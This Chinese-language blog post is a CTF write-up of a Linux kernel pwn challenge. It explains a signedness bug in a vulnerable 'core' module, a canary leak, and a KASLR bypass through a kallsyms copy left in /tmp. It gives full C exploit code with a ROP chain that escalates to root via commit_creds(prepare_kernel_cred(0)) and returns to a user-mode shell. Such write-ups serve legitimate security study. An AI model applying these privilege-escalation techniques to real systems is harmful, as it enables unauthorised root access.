Loading... 这道题是一个 KERNEL 下的 ROP,其实和用户态下的差别也不是特别大,但是调试不是很方便,有地方出现错误,基本上就会造成 qemu 的重启,会浪费很多时间。 start.sh 脚本中的启动命令和参数为 ```shell $ cat start.sh qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic ``` 直接跑干脆跑不起来,从保存信息中可以看出是内存太小了,把它改成 256M 后我就可以起了。 同时注意到参数中挂了 kaslr。 解压后,首先看一下 init 脚本 ```shell #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f ``` 可以看到比较重要的是 ```shell cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict insmod /core.ko ``` 这四句话,其中中间两句设置了 kptr_restrict 和 dmesg_restrict 两个值为 1,这使得普通用户无法查看 dmesg 和 kallsyms 中的值(kallsyms 中显示会全部为 0)。后置主要影响的是查看与 moudle 相关的调试信息,也就是在 `/sys/moudle/core/section` 中执行 `grep 0 .text` 时需要 root 权限。前者则会造成无法直接通过 /proc/kallsyms 来进行 leak kernel 基址。 由于在执行 `echo 1 > /proc/sys/kernel/kptr_restrict` 之前就执行了 `cat /proc/kallsyms > /tmp/kallsyms`,所以我们可以直接通过 /tmp 中的文件来获得内核的基址。为了调试方便,可以本地去掉这两句话或者直接以 root 权限进入虚拟机,这样可以获得 core 的基址。因为我们在利用的时候是不需要查看 core 的基址的,所以在本地去掉这个防护也无伤大雅。 首先看一下文件操作的虚表 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/4001520221.png "></div> 使用 write 可以设置 name,对长度的限制为 0x800 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/1480011083.png "></div> ioctl 定义了三条指令,分别可以进行 read,设置 off 变量,和执行 core_copy_func <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/48084028.png "></div> 在 core_copy_func 中,存在一个栈溢出 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/3696511772.png "></div> 其中的 qmemcpy 存在一个栈溢出。虽然这里对 a1 进行了检测,但是在检测的时候 a1 为一个有符号的 64 位数,我们使用 `(0xFFFFFFFFFFFF0000 | (0x100))` 这样的值就可以造成溢出了(注意这里给 a1 低 16 位的值不要太大,不然可能会出现错误)。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/2161999518.png "></div> 通过恰当设置 off 的值,在 core_read 中可以 leak 出一些栈上的数据,最重要的就是 canary。 有栈溢出,又可以 leak 出 canary。虽然开启了 kaslr,但是提供了 kallsyms,可以直接绕过,所以做 rop 即可。我们的目标就是先通过 rop 执行 `commit_creds(prepare_kernel_cred(0))`,然后返回用户态执行 `system("/bin/sh")`。 题目给了一个 vmlinux,这个文件里面有大量的 gadgets(和 bzImage 之类的区别可以参考[这里](https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml)),通过 ropper 可以提取 ```shell ropper --file ./vmlinux --nocolor > vmlinux_gadgets ``` 如果出于某些原因需要重新提取一次,ropper 会从 cache 中尝试重新提取,就我的经历而言,从 cache 中提取 ropper 会卡死,所以如果它卡死了,可以用 `ropper --clear-cache` 来清空 cache。 然后做 rop 即可,exp 如下 ```cpp #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> void GetRootShell() { system("/bin/sh"); } /* get user stat*/ size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp; void GetUserStat() { __asm__ (".intel_syntax noprefix\n"); // set intel syntax __asm__ volatile ( "mov user_cs, cs;\ mov user_ss, ss;\ mov user_gs, gs;\ mov user_ds, ds;\ mov user_es, es;\ mov user_rsp, rsp;\ pushf;\ pop user_rflags" ); printf("[+] got user stat\n"); } int main() { GetUserStat(); int core_fd = open("/proc/core", 2); ioctl(core_fd, 0x6677889C, 0x40); char leaked_data[100]; ioctl(core_fd, 0x6677889B, leaked_data); size_t canary = ((size_t*)leaked_data)[0]; printf("[+] canary = %p\n", canary); size_t core_ioctl_addr = ((size_t*) leaked_data)[2] - 60; printf("[+] core_ioctl_addr = %p\n", core_ioctl_addr); /* * >>> print(hex(vmlinux.sym["commit_creds"] - 0xffffffff81000000)) * 0x9c8e0 * >>> print(hex(vmlinux.sym["prepare_kernel_cred"] - 0xffffffff81000000)) * 0x9cce0 */ FILE* kallsym = fopen("/tmp/kallsyms", "r"); if (kallsym == NULL) { printf("[!] open kallsym failed"); return -1; } char sym_info[0x40] = {0}; size_t prepare_kernel_cred_addr = 0; size_t commit_creds_addr = 0; size_t vmlinux_base_addr = 0; while(fgets(sym_info, 0x30, kallsym)) { if (strstr(sym_info, "commit_creds")) { char commit_creds_hex[20] = {0}; strncpy(commit_creds_hex, sym_info, 16); sscanf(commit_creds_hex, "%llx", &commit_creds_addr); vmlinux_base_addr = commit_creds_addr - 0x9C8E0; break; } } printf("[+] vmlinux_base_addr = %p\n", vmlinux_base_addr); prepare_kernel_cred_addr = vmlinux_base_addr + 0x9CCE0; printf("[+] commit_creds_addr = %p\n", commit_creds_addr); printf("[+] prepare_kernel_cred_addr = %p\n", prepare_kernel_cred_addr); size_t rop_chain[0x100] = {0}; int i = 9; rop_chain[i++] = 0; // rbx pass rop_chain[i++] = 0xb2f + vmlinux_base_addr; //pop rdi; ret; rop_chain[i++] = 0; rop_chain[i++] = prepare_kernel_cred_addr; rop_chain[i++] = 0x0a0f49 + vmlinux_base_addr; // pop rdx; ret; /* call pushed commit_creds_addr, pop rdx to skip that and ret2commit_creds_addr */ rop_chain[i++] = 0x0a0f49 + vmlinux_base_addr; // pop rdx; ret; rop_chain[i++] = 0x01aa6a + vmlinux_base_addr; // mov rdi, rax; call rdx; rop_chain[i++] = commit_creds_addr; rop_chain[i++] = 0xa012da + vmlinux_base_addr; // swapgs; popfq; ret; rop_chain[i++] = 0; rop_chain[i++] = 0x050ac2 + vmlinux_base_addr; // iretq; ret; rop_chain[i++] = GetRootShell; /* return from INT */ rop_chain[i++] = user_cs; rop_chain[i++] = user_rflags; rop_chain[i++] = user_rsp; rop_chain[i++] = user_ss; rop_chain[8] = canary; write(core_fd, rop_chain, 0x800); ioctl(core_fd, 0x6677889A, 0xFFFFFFFFFFFF0100); return 0; } ``` 注意由于我比较熟悉 Intel 语法,所以这里内联汇编用的也是 Intel 语法,编译时要加上 `-masm=intel` 这个参数。`__asm__ (".intel_syntax noprefix\n");` 这句是设置内联汇编语法为 Intel 语法。 最后修改:2021 年 07 月 08 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 2 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧